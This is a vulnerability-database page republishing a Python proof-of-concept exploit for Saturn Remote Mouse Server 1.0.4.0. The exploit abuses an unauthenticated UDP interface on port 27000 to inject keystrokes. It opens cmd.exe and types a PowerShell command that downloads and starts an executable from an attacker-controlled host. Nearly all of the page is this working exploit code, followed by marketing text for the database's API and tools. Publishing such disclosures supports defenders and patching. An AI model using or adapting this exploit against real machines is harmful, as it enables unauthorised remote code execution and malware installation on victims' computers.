Lucene search
K

📄 Saturn Remote Mouse Server 1.0.4.0 Remote Code Execution

🗓️ 30 Jun 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 87 Views

Saturn Remote Mouse Server 1.0.4.0 exposes UDP interface for remote keystroke injection and RCE.

Code
# Exploit Title: Saturn Remote Mouse Server 1.0.4.0 - Remote Code Execution
    # Date: 27/06/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.saturnremote.com/
    # Software Link:
    https://apps.microsoft.com/detail/9pcrbt6tm5v8?hl=en-US&gl=EN
    # Version: 1.0.4.0
    # Tested on: Windows 10
    
    '''
    Description:
    
    Saturn Remote Mouse Server v1.0.4.0 exposes an unauthenticated UDP command
    interface (port 27000) allowing remote attackers to inject keystrokes. This
    PoC demonstrates RCE by simulating Windows key combinations to spawn
    cmd.exe and execute malicious PowerShell payloads with user privileges.
    '''
    
    import socket
    import json
    import time
    
    TARGET_IP = "192.168.8.105"
    TARGET_PORT = 27000
    LHOST = "192.168.8.100"
    PAYLOAD = "shell.exe"
    
    def send_keystroke(key):
    
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(json.dumps({"Key": key}).encode(), (TARGET_IP, TARGET_PORT))
        sock.close()
        time.sleep(0.15)
    
    def open_start_menu():
    
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        start_cmd = {
            "X": 0,
            "CommandName": "START",
            "AreaHeight": 0,
            "Y": 0,
            "AreaWidth": 0
        }
        sock.sendto(json.dumps(start_cmd).encode(), (TARGET_IP, TARGET_PORT))
        sock.close()
        time.sleep(1)
    
    def type_string(text):
    
        for char in text:
            send_keystroke(char)
    
    
    open_start_menu()
    time.sleep(2)
    type_string("cmd")
    time.sleep(1)
    send_keystroke("\n")
    time.sleep(2)
    
    
    download_cmd = f"powershell -c \"iwr http://{LHOST}/{PAYLOAD} -OutFile
    $env:TEMP\\{PAYLOAD}; Start-Process $env:TEMP\\{PAYLOAD}\""
    type_string(download_cmd)
    time.sleep(1)
    send_keystroke("\n")  # Execute
    print("payload executed check your listener!")
    
    time.sleep(3)
    type_string("exit")
    send_keystroke("\n")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation